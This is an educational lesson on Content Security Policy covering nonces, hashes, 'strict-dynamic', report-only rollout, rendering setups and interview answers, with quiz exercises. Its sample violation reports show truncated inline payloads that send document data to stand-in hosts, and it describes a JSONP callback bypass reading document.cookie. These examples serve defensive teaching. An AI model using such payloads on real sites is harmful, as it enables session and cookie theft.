Content Security Policy
A response header that tells the browser which scripts, frames, and connections a page may use, so an injected script is blocked even when an XSS bug slips through.
The bug that gets through anyway
Picture a support site with a help center. Agents write articles in a rich text editor, and the site renders them for millions of customers. The team escapes output, uses a sanitizer, and reviews every use of innerHTML. They have read the XSS lesson and they follow it.
Then a new version of the sanitizer ships with a parsing bug. For three days, an article can carry a script tag that survives cleaning. Someone notices, writes one article with a payload that reads the session token from a page variable, and sends it to their own server. Every customer who opens that article runs the attacker's code as themselves.
Nothing in this story is careless. Large apps have thousands of places where data meets markup, dozens of dependencies that touch the DOM, and new code every day. Sooner or later one of those places is wrong. The question is what happens on that day.
A second line of defense in the browser
A Content Security Policy (CSP) is a rule set that the server sends with the page, usually as the Content-Security-Policy response header. It tells the browser which scripts may run, which sites may frame the page, where forms may post, and more. The browser enforces it for every resource and every inline script, no matter how that script got into the page.
With a good policy, the same sanitizer bug plays out differently. The attacker's script tag reaches the DOM, but it has no valid nonce (a random one-time token the server put on its own scripts), so the browser refuses to run it. The console shows a violation, the site's report endpoint receives a JSON report, and the team learns about the bug from their dashboard instead of from a breach notice.
What CSP is and what it is not
CSP is defense in depth. It does not find or fix injection bugs; escaping, safe APIs, and sanitizers do that, as the XSS lesson explains. CSP limits what an injection can do once it lands. Think of it as the seatbelt, not the brakes: you still need both.
- It stops injected script from running. This is its main job, and the part this lesson spends most time on:
script-src, nonces, hashes, and'strict-dynamic'. - It limits other risky features. Plugins (
object-src), the document base URL (base-uri), form targets (form-action), and who may frame you (frame-ancestors). - It reports. Every blocked action can send a report, which makes CSP a cheap detector of XSS attempts and broken deploys.
- It is not a data-leak firewall. Directives like
connect-srcandimg-srcmake leaks harder, but a determined attacker who already runs code has many ways out. Do not sell CSP as exfiltration protection.
A good policy is short. A bad policy is often long: a list of 40 trusted domains that looks careful but blocks almost nothing. The rest of this lesson explains why, and how to write the short, strong kind, roll it out without breaking the site, and keep it working with server rendering, static hosting, and third-party tags.
Check your understanding · Exercise 1
A page has a strong CSP. An attacker finds a stored XSS bug and injects markup. What can the CSP do? Select all that apply.
The mental model: a door guard with a rule card
Think of the browser as a guard at the door of your page. The server hands the guard a rule card before anything else arrives. Every time the page wants to run a script, load an image, open a connection, or be shown inside a frame, the guard reads the card and says yes or no. The guard does not care how the request came to be: your code, a library, or an attacker's injected tag all get the same check.
The rule card is a list of directives, separated by semicolons. Each directive names one kind of resource and lists the sources allowed for it. Here is a small policy, split over lines for reading (a real header is one line):
Content-Security-Policy:
default-src 'self';
script-src 'nonce-q8Zt3kVx1pR0aWm2' 'strict-dynamic';
img-src 'self' https://images.example-cdn.com data:;
object-src 'none';
base-uri 'none';
frame-ancestors 'self';
report-to csp
Three kinds of directives
- Fetch directives control where resources may come from:
script-src,style-src,img-src,font-src,connect-src(fetch, XHR, WebSocket, EventSource),media-src,frame-src,worker-src,object-src, and the fallbackdefault-src. - Document directives control the page itself:
base-uri(what abasetag may set) andsandbox(put the page in a sandbox like a sandboxed iframe). - Navigation and reporting directives:
form-action(where forms may submit),frame-ancestors(who may embed this page), andreport-toor the olderreport-uri(where violation reports go).
Source expressions
The values after a directive name are source expressions. They come in a few shapes, and each shape trusts something different. Learning to read them is most of reading a CSP.
| Source | Example | What it trusts |
|---|---|---|
| Keyword | 'self', 'none' | 'self' is the page's own origin (scheme, host, port). 'none' allows nothing. |
| Host or scheme | https://cdn.example.com, https: | Any URL on that host, or any URL with that scheme. Paths narrow it, but redirects drop the path check. |
| Nonce | 'nonce-q8Zt3kVx1pR0aWm2' | Any script or style element whose nonce attribute matches exactly. |
| Hash | 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=' | Any inline script or style whose exact text hashes to this value. |
| Behavior keyword | 'strict-dynamic', 'unsafe-inline', 'unsafe-eval' | Changes the rules instead of naming a source: trust propagation, inline code, or string-to-code. |
Keywords keep their single quotes. 'self' with quotes is the page's origin; self without quotes is a host named self. This is a real mistake in real policies, and nothing breaks loudly when you make it.
Fallback: how default-src fills the gaps
Most fetch directives fall back to default-src when they are missing. If a policy sets only default-src 'self', then images, scripts, fonts, and connections are all limited to the same origin. worker-src falls back first to child-src, then script-src, then default-src. script-src-elem and script-src-attr (finer splits of script-src) fall back to script-src.
The non-fetch directives do not fall back. base-uri, form-action, frame-ancestors, and sandbox are unrestricted unless you set them. A policy of only default-src 'none' still lets an attacker inject a base tag or a form that posts anywhere.
default-src only when they are absent. The three below the line never borrow, so default-src 'none' alone leaves them wide open.Check your understanding · Exercise 2
The policy is default-src 'self'; script-src 'nonce-abc'. Which of these are allowed? Select all that apply.
Delivering a policy: header, meta tag, and what each can do
A policy reaches the browser in one of two ways. The normal way is the Content-Security-Policy HTTP response header on the HTML document. The other is a meta tag in the page's head with http-equiv="Content-Security-Policy" and the policy in its content attribute. They look equal, but they are not.
The header arrives before the page
Headers arrive before the first byte of HTML, so the browser knows the rules before it parses anything. Every script, inline or external, early or late, is checked. A meta policy only applies from the moment the parser reaches that tag; anything earlier in the document is not covered. Put it first in head if you use it at all.
What a meta tag cannot do
Some directives only make sense if the rules exist before the page does, so the spec ignores them in a meta policy. The browser logs a console warning and moves on, which means a static site can believe it is protected when it is not.
| Feature | Header | Meta tag |
|---|---|---|
script-src, style-src, other fetch directives | Yes | Yes, for content after the tag |
frame-ancestors (who may frame the page) | Yes | Ignored |
report-uri and report-to (reporting) | Yes | Ignored |
sandbox | Yes | Ignored |
Report-only mode (Content-Security-Policy-Report-Only) | Yes | Not supported |
| Covers the whole document from the first byte | Yes | Only after parsing reaches the tag |
So a meta CSP is a fallback for hosts where you cannot set headers, such as some static hosts. It can still block injected scripts, which is the main value. It cannot stop clickjacking, cannot report, and cannot be trialed in report-only mode first.
Two policies means both must pass
A page can receive more than one policy: two headers, a header plus a meta tag, or a header added by your app and another added by a CDN or proxy. The browser enforces each policy separately, and a resource loads only if every policy allows it. Policies never loosen each other.
This catches teams out. The app sends a strict nonce-based policy, and a security proxy appends script-src 'self'. Now every nonced script from a CDN fails the second policy, and the site breaks in production but not on a laptop. When debugging CSP, always read the real response headers in the Network panel, not your config file.
What happens when something is blocked
- The resource does not load, or the inline code does not run. There is no error thrown into your JavaScript for a blocked script tag; it simply does nothing.
- The console prints a message naming the directive, the blocked URL or
inline, and often the hash the browser computed for the blocked inline code. - The document fires a
securitypolicyviolationevent with the same details (violatedDirective,blockedURI,sourceFile,lineNumber,sample). Your own code can listen to it. - If the policy has a reporting endpoint, the browser sends a report there, possibly a little later and batched with others.
- Blocked
evalandnew Functioncalls are different: they throw anEvalError, so code that uses them breaks loudly.
Check your understanding · Exercise 3
A static site sets its CSP with a meta tag. Which statements are true? Select all that apply.
Nonces and hashes: trusting your scripts, not your domains
The core question of script-src is: how does the browser tell your scripts from injected ones? Old policies answered with places ("scripts from these domains are fine"). Modern policies answer with proof: each trusted script carries a secret the attacker cannot know (a nonce), or its exact content is pinned in advance (a hash).
Nonces: a fresh secret on every response
A nonce is a random value the server makes for one response only. It goes in two places: the header ('nonce-R') and a nonce attribute on every script tag the server writes. The browser runs a script only if its attribute matches the header. An attacker who injects markup does not know this response's value, so their tag has no matching nonce.
import { randomBytes } from "node:crypto";
app.use((req, res) => {
// 16 random bytes = 128 bits, new for every response
const nonce = randomBytes(16).toString("base64");
res.setHeader(
"Content-Security-Policy",
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'`,
);
res.setHeader("Cache-Control", "private, no-store");
res.send(renderPage({ nonce })); // every script tag gets nonce={nonce}
});
onerror. The value changes on every response, so a leaked one is useless next time.Three rules make a nonce worth having:
- Unguessable. At least 128 bits from a cryptographic random source (
crypto.randomBytes,crypto.getRandomValues), base64 encoded. Never a counter, a timestamp, or a hash of the URL. - New on every response. Not per user, not per session, not per deploy. A nonce that repeats can be read from one page and used in the next injection.
- Never cached in a shared cache. If a CDN caches the HTML, every visitor gets the same nonce, and it is no longer secret. Mark nonced HTML
privateorno-store, or have the edge make a fresh nonce and rewrite the page on every response.
Browsers also help keep the nonce secret. When the CSP arrives as a header, the HTML spec has the browser clear an element's nonce content attribute once the element is in the page. After that, getAttribute("nonce") and CSS attribute selectors see an empty value, and only the element's nonce property still holds it for script. This blocks tricks that leak the value through CSS attribute selectors.
What a nonce does not protect
A nonce trusts the whole tag it sits on. If your server writes user data inside a nonced inline script, for example var name = "..." with unescaped input, an attacker can close the string and run code inside your trusted script. CSP cannot see the difference. Serialize data into inline scripts with a JSON encoder that escapes < and quotes, or move the data into a type="application/json" block and parse it.
Hashes: pinning the exact text of an inline script
A hash source is 'sha256-' (or sha384, sha512) followed by the base64 digest of an inline script's exact text, everything between the opening and closing tags. The browser hashes each inline script and runs it only if the digest is in the list. No server work per request is needed, which makes hashes the tool for pages that are built once and served as static files.
<!-- The text between the tags is hashed byte for byte -->
<script>window.__THEME__ = localStorage.getItem("theme") || "light";</script>
<!-- Header (computed at build time):
script-src 'sha256-<digest of the line above>' 'strict-dynamic' -->
- Exact bytes. One added space, a changed quote, or a different line ending gives a new hash. Compute hashes in the build step from the final output, never by hand.
- Inline only, in practice. CSP Level 3 lets a hash allow an external script that has a matching
integrityattribute, but support across browsers is uneven, so do not depend on it. - Not for event handlers by default. Hashes and nonces never allow
onclick="..."attributes. The'unsafe-hashes'keyword makes hashes apply to handler text, but it is a migration aid, not a goal. - Useful console help. When an inline script is blocked, Chrome prints the hash it computed, which is handy for one-off scripts.
| Question | Nonce | Hash |
|---|---|---|
| Needs a server per request? | Yes, to make a fresh value | No, computed at build time |
| Works with a shared CDN cache of the HTML? | Only if the edge rewrites the nonce | Yes |
| Inline script content can change per request? | Yes | No, every variant needs its own hash |
| Allows external scripts? | Yes, any src with the attribute | Not reliably |
| Best fit | Server-rendered and streamed pages | Static sites and fixed bootstrap snippets |
Check your understanding · Exercise 4
Which nonce setups are safe? Pick one.
Why domain allowlists fail, and what 'strict-dynamic' does instead
For years the standard advice was to list every domain your scripts come from: script-src 'self' https://www.google-analytics.com https://cdn.jsdelivr.net https://ajax.googleapis.com. It reads as careful. In practice it usually protects very little.
The 2016 study: most allowlists are bypassable
In 2016 a team of Google security engineers published a study called CSP Is Dead, Long Live CSP! They took the policies from a search engine crawl of about 100 billion pages, 26,011 distinct policies on about 1.7 million hosts, and checked whether an attacker with an HTML injection bug could still run script. Their headline finding: 94.72% of the distinct policies could be bypassed, and 99.34% of hosts with a CSP used a policy that offered no real protection against XSS.
Many failed for simple reasons, such as 'unsafe-inline' or a wildcard. But even careful allowlists failed, because the allowed domains themselves hosted things an attacker could use. Three kinds of bypass came up again and again:
- JSONP endpoints. An API like
https://allowed.example.com/api?callback=handlereturnshandle({...}). An attacker injectsscript srcpointing at it withcallback=alert(document.cookie)//, and the allowed host returns the attacker's code as a valid script. - Old libraries that run code from markup. If an allowed CDN hosts an old version of AngularJS, the attacker loads that version from the allowed host and then injects markup with a template expression. AngularJS evaluates it, and the attacker's code runs without any inline script.
- Open redirects and user uploads. A path-restricted source like
https://cdn.example.com/js/stops checking the path after a redirect, and any allowed host that serves user files can serve a script.
Big shared CDNs host thousands of libraries and versions, so allowing one of them allows every gadget on it. And every new domain your marketing team adds makes the list longer and weaker. The fix the paper proposed, and the reason 'strict-dynamic' exists, is what modern policies use: trust scripts by nonce or hash, and let trusted scripts load what they need.
'strict-dynamic': trust flows from your scripts
Real apps do not only have the scripts in their HTML. A loader script adds chunks with document.createElement("script"), a tag manager adds analytics, a bundler injects lazy-loaded routes. Putting a nonce on every one of those is often impossible, because you do not control the code that creates them.
'strict-dynamic' solves this. It says: a script that is already trusted may load more scripts, and those are trusted too. Trust passes along when a trusted script creates a script element and inserts it with DOM APIs such as appendChild. It does not pass to scripts created by the HTML parser, so document.write of a script tag and injected markup are still blocked.
appendChild. A script written with document.write, or one with no trusted parent at all, is blocked.When 'strict-dynamic' is present, browsers that understand it ignore host allowlists, scheme sources such as https:, 'self', and 'unsafe-inline' in script-src. That sounds odd, but it is the point: the only roots of trust left are your nonces and hashes. The ignored values are still useful as fallbacks for very old browsers, which is the trick behind the strict recipe in the next chapter.
| How the script appears | With nonce or hash only | Plus 'strict-dynamic' |
|---|---|---|
| Server-written tag with the right nonce | Runs | Runs |
Created by a trusted script with createElement + appendChild | Blocked (no nonce) | Runs |
| An attacker's tag injected into the server-rendered HTML | Blocked | Blocked |
Written by document.write from a trusted script | Blocked | Blocked (parser-inserted) |
Inline onclick attribute | Blocked | Blocked |
| Tag from an allowlisted host, no nonce | Allowed only if host is listed | Blocked: host lists are ignored |
Try it. The lab below has a policy you can edit with checkboxes and a set of script tags and injections a real page might contain. Change the policy and watch which ones run.
Content-Security-Policy: script-src 'self' cdn.example.com
Why each one runs or is blocked
- bootstrap: inline, with nonce: The tag has a nonce, but the policy lists no nonce source, and inline code is not allowed.
- /app.js tag with nonce: Its host is on the allowlist.
- chunk that app.js adds: Its host is on the allowlist.
- analytics the tag manager adds: Its host is on the allowlist.
- theme script, no nonce: No matching nonce, no listed hash, and inline code is not allowed.
- old onclick handler: Nonces and hashes never allow handler attributes. Move it to addEventListener.
- vendor via document.write: document.write makes a parser-inserted tag; it runs only because the host is listed.
- chart library calling eval(): eval throws an EvalError without 'unsafe-eval'. Precompile instead.
- injected inline script: No matching nonce, no listed hash, and inline code is not allowed.
- injected JSONP from cdn: The host is allowlisted, so the JSONP reply runs as the attacker's code.
- injected base href + /app.js: The rewritten URL is not on the allowlist.
Check your understanding · Exercise 5
A page sends script-src 'nonce-R' 'strict-dynamic' https://cdn.example.com. Which scripts run in a current browser? Select all that apply.
A strict CSP recipe and the cost of the unsafe keywords
Put the last two chapters together and you get what is usually called a strict CSP. It is short, it does not list domains, and it stays the same when you add a new analytics vendor. Here is the nonce version, the one to reach for on any server-rendered app:
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
report-to csp-endpoint
Reading it line by line
'nonce-{RANDOM}'is the root of trust. Every script tag the server writes carries it.'strict-dynamic'lets those scripts load their chunks and vendors, and tells modern browsers to ignore the next two values.https:and'unsafe-inline'are fallbacks for very old browsers only. A browser that does not know'strict-dynamic'still runs your scripts over HTTPS. A browser that does not know nonces at all still runs inline code. Modern browsers ignore both, because a nonce or'strict-dynamic'is present. They make the policy safe to ship, not weaker.object-src 'none'turns offobjectandembed. Plugins could run script outsidescript-srcand nobody needs them in 2026.base-uri 'none'(or'self'if you use abasetag) stops an injectedbase hreffrom changing where every relative script URL points. Without it, an attacker can redirectsrc="/app.js"to their own server even though the tag has a valid nonce.report-tosends violations to your endpoint. Add it from day one.
Notice what is missing: no default-src, no img-src, no connect-src. The strict recipe is aimed at script execution, where XSS turns into account takeover. You can add resource directives later, but each one is a list of domains to keep current, and a stale list breaks features. Add require-trusted-types-for 'script' next if you want to stop DOM XSS at the sink; the XSS lesson covers Trusted Types.
'strict-dynamic'.)What 'unsafe-inline' costs
'unsafe-inline' allows every inline script, every inline event handler, and every javascript: URL. That is exactly the shape most XSS payloads take, so a policy with 'unsafe-inline' (and no nonce or hash to cancel it) gives close to zero protection against injected script. Teams add it to get a broken page working on launch day and never take it out.
The way out is to make your inline code nonce-able. Move onclick="..." attributes into addEventListener calls in a script file, replace href="javascript:..." with buttons, and give the remaining inline scripts a nonce or a hash. Frameworks such as React, Vue, and Svelte already attach handlers this way, so most of the work is in old templates and third-party snippets.
What 'unsafe-eval' costs
'unsafe-eval' allows code built from strings: eval, new Function, and setTimeout with a string. It does not let an injected tag run by itself, so it is less dangerous than 'unsafe-inline'. But it turns any place where attacker text reaches one of those functions into code execution, and some template libraries compile templates from strings at runtime, which is the gadget pattern again.
Most modern builds do not need it. Precompile templates at build time, avoid libraries that compile at runtime, and if you need WebAssembly, use 'wasm-unsafe-eval', which allows compiling Wasm without allowing JavaScript eval.
Decision Which kind of script policy should a new product ship?
What we pick: Use nonce + 'strict-dynamic' for server-rendered or streamed apps, and hash + 'strict-dynamic' for static sites and SPAs served from a CDN. Treat a domain allowlist as a stepping stone at most, never as the target.
Check your understanding · Exercise 6
A reviewer says the strict recipe is weak because it contains https: and 'unsafe-inline'. What is true? Select all that apply.
Rolling out without breaking the site: report-only and the Reporting API
Turning on an enforced CSP on a large existing site is risky. Some old page has an inline onclick, and a partner widget writes a script with document.write. A payment provider's iframe loads from a domain nobody wrote down. If you enforce on day one, checkout breaks and the policy is reverted within the hour, often for good.
The safe path is to watch before you block. CSP has a second header for exactly this.
Report-only mode
Content-Security-Policy-Report-Only takes the same policy syntax, but the browser blocks nothing. It checks every script and resource as if the policy were enforced and sends a report for each would-be violation. Users see no change; you see every place the policy would break.
You can send both headers at once, and this is the normal steady state of a mature site: an enforced policy that is known to be safe, plus a report-only policy that is one step stricter. When the stricter one has been quiet for a while, promote it and start the next step.
Where reports go
There are two reporting mechanisms, and for now you send both. The older report-uri directive takes a URL, and the browser POSTs one JSON body per violation with content type application/csp-report; it is deprecated in the spec but still widely supported.
The newer report-to directive names an endpoint defined in the Reporting-Endpoints header, part of the Reporting API, which batches reports and posts them as application/reports+json. When a policy has both directives, a browser that supports report-to uses it and ignores report-uri.
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"
Content-Security-Policy-Report-Only:
script-src 'nonce-q8Zt3kVx1pR0aWm2' 'strict-dynamic' 'report-sample';
object-src 'none'; base-uri 'none';
report-uri https://example.com/csp-reports;
report-to csp-endpoint
'report-sample' adds the first 40 characters of blocked inline code to each report.[{
"type": "csp-violation",
"url": "https://example.com/help/article-42",
"body": {
"documentURL": "https://example.com/help/article-42",
"blockedURL": "inline",
"effectiveDirective": "script-src-elem",
"disposition": "report",
"sample": "fetch('https://evil.example/c?'+document",
"sourceFile": "https://example.com/help/article-42",
"lineNumber": 212,
"statusCode": 200
}
}]
disposition: report means it came from report-only mode.A rollout plan that works
- Inventory. Add nonces to every server-written script tag, and move inline handlers and
javascript:URLs into script files. This is most of the work. - Report-only for a slice. Ship the strict policy as report-only to a few percent of traffic. Read the reports for a week, grouped by
effectiveDirectiveandblockedURL. - Fix and widen. Fix your own violations, ask vendors about theirs, then go to 100% report-only and wait for a quiet period that covers rare flows such as checkout, password reset, and admin pages.
- Enforce. Switch the header name. Keep reporting on, and keep a kill switch (a config flag that falls back to report-only) for the first days.
- Tighten. Add the next directive in report-only alongside the enforced policy and repeat.
Reports are noisy: triage them
A popular site gets many thousands of reports a day, and most are not about your code. Browser extensions inject scripts into every page, so you see blockedURL values with chrome-extension or moz-extension schemes and inline samples you never wrote. Corporate proxies and antivirus tools inject scripts too. And the endpoint is public, so anyone can post fake reports.
- Drop or tag reports whose
sourceFileorblockedURLuses an extension scheme. - Group by
effectiveDirectiveplusblockedURLorigin plus page route, and alert on new groups, not raw counts. - Rate-limit and size-limit the endpoint; never trust report content when you display it in an admin tool (escape it, it is attacker-controlled).
- Watch for sudden spikes of inline violations on one route after enforcement: that is often a real injection attempt, or a deploy that lost its nonces.
Practice the triage below. Each report is one you would see in the first week of a rollout. Decide what to do with it.
Pick an action for each report.
Report 1
documentURL: https://example.com/pricing
effectiveDirective: script-src-elem
blockedURL: chrome-extension://kbfn.../inject.js
count this week: 3,912 across 400 pages
Report 2
documentURL: https://example.com/account/settings
effectiveDirective: script-src-attr
blockedURL: inline
sample: toggleAdvanced()
Report 3
documentURL: https://example.com/ (all pages)
effectiveDirective: script-src-elem
blockedURL: https://cdn.chatvendor.example/v2/widget.js
sourceFile: https://cdn.chatvendor.example/embed.js
Report 4
documentURL: https://example.com/help/article-42
effectiveDirective: script-src-elem
blockedURL: inline
sample: fetch('https://x.evil.example/?c='+docum
first seen: today, only this page
Report 5
documentURL: https://example.com/reports
effectiveDirective: script-src
blockedURL: eval
sourceFile: https://example.com/assets/legacy-charts.js
Report 6
documentURL: https://example.com/ (all pages)
effectiveDirective: script-src-elem
blockedURL: inline
sample: window.__THEME__ = localStorage.get
first seen: right after the 14:02 deploy
Check your understanding · Exercise 7
You are moving a large site to a strict CSP. Which steps are sound? Select all that apply.
CSP with server rendering, streaming, SPAs, and static hosting
How you render and host the page decides which strict policy you can use. Nonces need code that runs per response. Hashes need inline scripts that do not change between responses. This chapter walks through the common setups and the trap in each.
Server rendering: thread the nonce through the render
In a server-rendered app, the nonce is made at the start of the request and passed down to everything that writes a script tag: the framework's own bootstrap scripts, your inline data blocks, and any tag manager snippet. Frameworks have a slot for this. React's renderToPipeableStream and renderToReadableStream take a nonce option and put it on the scripts React writes.
In Next.js, a proxy file (called middleware before Next.js 16) creates the nonce and puts the CSP header on both the request and the response. During rendering, Next.js reads the nonce from the request's CSP header and applies it to its own scripts.
The cost is caching. A page with a per-request nonce cannot be built once and served to everyone, so in Next.js nonced pages are rendered dynamically. That is fine for logged-in apps that are dynamic anyway. For a marketing page you want served from a CDN, hashes are often the better fit.
Streaming: the nonce must exist before the first byte
With streaming SSR, the server sends the head of the page at once and more HTML as data arrives. Headers go out first, so the nonce has to be chosen before rendering starts, which is the easy part. The trap comes later: each Suspense boundary that resolves sends a small inline script that moves the finished HTML into place. Every one of those scripts needs the nonce too.
If a custom streaming setup forgets the nonce on those late scripts, the page looks fine at first and then stays stuck on its loading skeletons, with a console full of script-src violations. Pass the nonce to the renderer, not just to your own templates, and test with the policy enforced in development.
Cached HTML with a fresh nonce: rewriting at the edge
Some teams want both: HTML cached at the CDN and a nonce per response. An edge function can do this. The cached HTML carries a placeholder in every nonce attribute; on each response the edge makes a fresh random value, puts it in the header, and streams the HTML through a rewriter that swaps the placeholder.
It works, but it adds an edge step to every page, and it has a trap: if an attacker can inject the placeholder text into the page, the rewriter blesses their tag too. Make the placeholder a secret random value per build that never reaches users, since the rewrite replaces it in every response.
SPAs and static sites: hashes and the external-script trap
A single-page app built with Vite or a similar tool usually ships an index.html with one or two external tags like script type="module" src="/assets/index-4f2a.js". That file is the same for every visitor, so nonces are out and hashes are in. But hashes allow inline scripts, and that tag is external.
- Hash +
'strict-dynamic'with an inline loader. Replace the external tag with a tiny inline script that creates the entry script element and appends it. Hash the loader.'strict-dynamic'lets the entry and its chunks load. This is the strongest option. script-src 'self'without'strict-dynamic'. Simpler: every script must come from your own origin. It is reasonably strong only if your origin serves no user uploads, no JSONP, and no old libraries, since those would be gadgets. Addobject-src 'none'andbase-uri 'none'either way.- Delivery. Static hosts like Netlify, Vercel, Cloudflare Pages, and S3 behind CloudFront let you set headers through config files or rules. Use a header if you can; fall back to a
metatag (losingframe-ancestorsand reporting) only if you cannot.
Think first
A docs site is fully static and cached at the CDN. It has one inline script that sets the color theme before paint, and loads /assets/main.js. What strict policy fits?
Hashes. The inline theme script is the same bytes for every visitor, so the build computes its sha256 and adds it to the header. Make that script (or a second hashed loader) create the main.js element, and add 'strict-dynamic' so the bundle and its chunks are trusted.
The policy becomes script-src 'sha256-...' 'strict-dynamic'; object-src 'none'; base-uri 'none', set as a header through the host's config. No per-request work, and the HTML stays fully cacheable.
Check your understanding · Exercise 8
Which pairings of setup and policy are sound? Select all that apply.
Frames and third-party scripts under CSP
frame-ancestors: who may put you in a frame
frame-ancestors is the one CSP directive that protects the page from being embedded rather than controlling what it loads. frame-ancestors 'none' means no site may show this page in an iframe; 'self' allows only your own origin; a list of origins allows trusted partners. It is the modern replacement for the X-Frame-Options header, and when both are present, current browsers follow frame-ancestors.
Two things to remember. It works only as a header, never in meta. And it is not the same as frame-src, which controls which frames your page may load: one faces outward, the other inward. The clickjacking and iframes lesson covers framing attacks, sandboxing, and partner embeds in depth.
Third-party scripts: what CSP can and cannot do
Analytics, A/B testing, chat widgets, ads, and payment SDKs are where strict CSP rollouts most often stall. Under a nonce + 'strict-dynamic' policy, a third-party script fits in one of three ways:
- Loaded by a nonced tag you write. You add
nonceto the vendor's snippet. Anything the vendor loads withcreateElementandappendChildis trusted through'strict-dynamic'. This covers many modern vendors. - Loaded by a tag manager. Put the nonce on the tag manager's loader snippet. Scripts it adds through DOM APIs are trusted. Custom HTML tags inside the tag manager are the weak spot: Google Tag Manager, for example, documents a nonce-aware setup, but support varies by tool and tag type, so read the vendor's CSP guide and test each tag with the policy enforced.
- Breaks under strict CSP. Vendors that use
document.write, inline event handlers, orevalwill be blocked. Ask the vendor for a CSP-compatible version, isolate them in an iframe, or replace them. A vendor's CSP support is a fair item on a procurement checklist.
The hard truth: CSP decides whether a script runs, not what it does. A trusted vendor script runs with the full power of your page. It can read the DOM, call your APIs with the user's cookies, and send data anywhere connect-src allows. If the vendor is compromised, your policy lets the bad version in, because it comes through a trusted path.
This has happened. In 2024 the domain behind the popular polyfill.io service changed hands, and the script it served started sending malicious redirects to visitors of the many sites that still loaded it. A strict CSP did not help those sites, because they trusted that script on purpose. What helps is in the third-party scripts lesson: self-hosting fixed versions, Subresource Integrity (integrity hashes on script tags), fewer vendors, and running untrusted widgets in a sandboxed iframe on another origin.
Adding connect-src and friends
Once script execution is locked down, some teams add connect-src, img-src, and frame-src lists to limit where the page can talk. They catch accidental calls and some lazy data theft, and they document your dependencies. They are also allowlists, with the same upkeep problems. Add them in report-only first, own them in code review, and do not count on them to stop a determined attacker who already runs code: many channels, such as navigating the page, are hard to close.
Check your understanding · Exercise 9
Your page uses nonce + 'strict-dynamic'. Which statements about third-party scripts are true? Select all that apply.
Using CSP in a system design interview
CSP comes up in two ways. In a security-focused question ("design a rich text comment system", "how would you harden this app?"), it is part of the core answer. In a general frontend design (a news feed, a dashboard, an e-commerce site), it belongs in the non-functional requirements and the security pass near the end. Either way, a short, correct answer beats a long list of directives.
What to say, in order
- Place it. "Escaping and safe APIs prevent XSS; CSP limits the damage when one slips through. I would ship both."
- Pick the policy style from the rendering model. Server-rendered or streamed: per-request nonce with
'strict-dynamic'. Static or CDN-cached: build-time hashes with'strict-dynamic'. - Name the extras.
object-src 'none',base-uri 'none',frame-ancestorsfor clickjacking, and reporting. - Explain the rollout. Report-only first, triage the reports, then enforce with reporting kept on.
- Address third parties. Nonced loaders and tag managers work with
'strict-dynamic'; supply-chain risk needs SRI, self-hosting, or isolation on top.
object-src, base-uri, and a report-only phase come along.How deep to go by level
| Level | What a good answer includes |
|---|---|
| Junior | CSP is a header that limits which scripts run; avoid 'unsafe-inline'; it backs up escaping, it does not replace it. |
| Mid | Nonces versus hashes and when each fits; 'strict-dynamic'; report-only rollout; frame-ancestors is header-only. |
| Senior | Why allowlists are bypassable (JSONP, library gadgets); nonce and caching conflict; streaming and SSR nonce propagation; third-party and supply-chain limits; Trusted Types as the next layer; a phased rollout with metrics. |
Failure modes to have ready
Senior candidates are often asked what goes wrong after launch. These are the problems teams hit most, each with the clue that gives it away and the fix. Mentioning one or two of them, briefly, shows you have shipped a policy and not only read about it.
| Symptom | Likely cause | Fix |
|---|---|---|
| Streamed page stuck on skeletons | Late inline scripts from the renderer lack the nonce | Pass the nonce to the renderer, test with enforcement in development |
| Works locally, breaks in production | A proxy or CDN adds a second, stricter policy | Read real response headers; remove or align the extra policy |
| Same nonce on every page load | HTML cached at the CDN or a static nonce | private, no-store for nonced HTML, or switch to hashes |
| Inline theme script blocked after a tiny edit | The hash no longer matches the new bytes | Compute hashes in the build from final output |
| Analytics silently stopped | Vendor uses document.write or a new domain without 'strict-dynamic' | Use the vendor's CSP-ready loader; read reports by blockedURL |
| Flood of reports after launch | Browser extensions and proxies | Filter extension schemes, group, alert on new groups |
Check your understanding · Exercise 10
In a design for a comments feature with user HTML, which CSP points add real value to the answer? Select all that apply.
Summary
- CSP is a backstop for XSS: it stops injected scripts from running and reports them. Keep escaping and sanitizing; CSP limits the damage when they fail.
- Trust scripts by proof, not by place. Domain allowlists are usually bypassable through JSONP and library gadgets on allowed hosts.
- The strict recipe:
script-src 'nonce-R' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none', with the last twoscript-srcvalues only as old-browser fallbacks. - Nonces must be random, new on every response, and never in shared-cached HTML. Use build-time hashes for static and CDN-cached pages.
- Send the policy as a header. A
metapolicy cannot doframe-ancestors, reporting, sandboxing, or report-only mode. - Roll out in report-only with
report-toandreport-uri, triage noisy reports, then enforce with reporting kept on. - SSR and streaming must pass the nonce to the renderer; a missed nonce shows up as content stuck on loading states.
- CSP decides whether a script runs, not what it does: trusted third-party code still needs SRI, self-hosting, or iframe isolation.
In the interview
Questions interviewers ask about this. Answer each out loud first, then compare.
Question 1
What is Content Security Policy, and why do you need it if you already escape output?
CSP is a policy the server sends, usually as the Content-Security-Policy header, that tells the browser which scripts may run and which resources, frames, and form targets the page may use. The browser enforces it on every script no matter how it got into the page.
Escaping and sanitizing prevent injection; CSP limits the damage when one of the thousands of output points is wrong or a dependency has a bug. With a nonce-based policy, an injected script tag simply does not run, and a report tells you about it. It is defense in depth, not a replacement.
Question 2
Why is a domain allowlist like script-src 'self' https://cdn.example.com considered weak?
Because it trusts places, not scripts. Allowed hosts often serve things an attacker can reuse: JSONP endpoints that echo a callback, old versions of libraries such as AngularJS that run code from markup, open redirects, or user uploads. Google's 2016 "CSP Is Dead, Long Live CSP" study found bypasses in 94.72% of the distinct policies it examined.
The fix is to trust by proof: a per-request nonce or a build-time hash on your own scripts, plus 'strict-dynamic' so those scripts can load their dependencies. Browsers that support it ignore the host list when 'strict-dynamic' is present.
Question 3
Nonces or hashes: how do you choose?
Follow the rendering model. If HTML is generated per request (SSR, streaming), use a nonce: 128 random bits, new on every response, on every script tag the server writes, and never cached in a shared cache.
If HTML is built once and served from a CDN (static sites, SPAs), use hashes computed in the build from the exact inline script bytes. Pair either with 'strict-dynamic'. External tags in static HTML need a hashed inline loader, or a 'self' policy if the origin has no gadgets.
Question 4
How would you roll out CSP on a large existing site without breaking it?
